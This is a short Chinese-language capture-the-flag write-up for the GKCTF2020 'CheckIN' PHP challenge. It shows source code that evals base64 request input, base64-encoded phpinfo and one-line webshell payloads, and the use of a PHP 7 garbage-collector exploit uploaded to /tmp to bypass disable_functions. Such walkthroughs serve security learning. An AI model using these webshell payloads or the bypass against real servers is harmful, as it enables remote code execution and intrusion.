[GKCTF2020]CheckIN
開啟題目,直接得到原始碼
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
原始碼較為簡單,總結一下就是
eval(base64_decode($_REQUEST['Ginkgo']))
存在程式碼執行漏洞,卻發現很多函式被ban了,可能是開啟了disable_function,這裡先嚐試是否能執行phpinfo()
phpinfo(); base64加密之後cGhwaW5mbygpOw==
/?Ginkgo=cGhwaW5mbygpOw==
執行成功,檢視一下disable_function中被ban的函式
所以,這裡需要繞過disable_function,先傳一句話木馬連線上shell
一句話木馬eval($_POST[‘A’]); 加密之後得ZXZhbCgkX1BPU1RbJ0EnXSk7
/?Ginkgo=ZXZhbCgkX1BPU1RbJ0EnXSk7
在根目錄檔案下發現flag檔案和readflag檔案,猜測執行readflag就能讀取到flag,但是許可權等問題無法讀取和執行
這裡就需要使用繞過disable_function的技巧,通過phpinfo得知,該php的版本為7.3,在該版本下,php7-gc-bypass漏洞利用PHP garbage collector程式中的堆溢位觸發進而執行命令
影響範圍是linux,php7.0-7.3,給出了exp
下載後進行修改,改為執行readflag
然後通過蟻劍進行上傳這裡發現tmp目錄許可權是1777,於是決定上傳到這個目錄
上傳成功
通過之前的一句話來執行檔案包含,得到flag